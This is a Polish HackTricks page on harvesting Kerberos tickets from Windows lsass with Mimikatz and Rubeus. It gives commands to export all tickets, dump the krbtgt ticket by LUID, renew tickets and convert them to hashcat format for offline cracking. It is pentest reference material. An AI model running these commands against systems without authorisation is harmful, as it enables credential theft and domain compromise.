Zbieranie biletów z systemu Windows

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
Zdobądź oficjalne gadżety PEASS & HackTricks
Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.

Bilety w systemie Windows są zarządzane i przechowywane przez proces lsass (Local Security Authority Subsystem Service), odpowiedzialny za obsługę zasad bezpieczeństwa. Aby wyodrębnić te bilety, konieczne jest nawiązanie interfejsu z procesem lsass. Użytkownik nieposiadający uprawnień administratora może uzyskać dostęp tylko do swoich własnych biletów, podczas gdy administrator ma uprawnienia do wyodrębniania wszystkich biletów w systemie. Do takich operacji powszechnie używane są narzędzia Mimikatz i Rubeus, które oferują różne polecenia i funkcje.

Mimikatz

Mimikatz to wszechstronne narzędzie, które może współdziałać z zabezpieczeniami systemu Windows. Służy nie tylko do wyodrębniania biletów, ale także do różnych innych operacji związanych z bezpieczeństwem.

# Extracting tickets using Mimikatz
sekurlsa::tickets /export

Rubeus

Rubeus to narzędzie specjalnie dostosowane do interakcji i manipulacji Kerberos. Służy do wydobywania i obsługi biletów, a także do innych związanych z Kerberos czynności.

# Dumping all tickets using Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Listing all tickets
.\Rubeus.exe triage

# Dumping a specific ticket by LUID
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Renewing a ticket
.\Rubeus.exe renew /ticket:<BASE64_TICKET>

# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>

Podczas korzystania z tych poleceń, upewnij się, że zastąpisz symbole zastępcze, takie jak <BASE64_TICKET> i <luid>, rzeczywistym zakodowanym w Base64 biletem i identyfikatorem logowania odpowiednio. Te narzędzia zapewniają rozległe funkcje do zarządzania biletami i interakcji z mechanizmami zabezpieczeń systemu Windows.

Referencje

https://www.tarlogic.com/en/blog/how-to-attack-kerberos/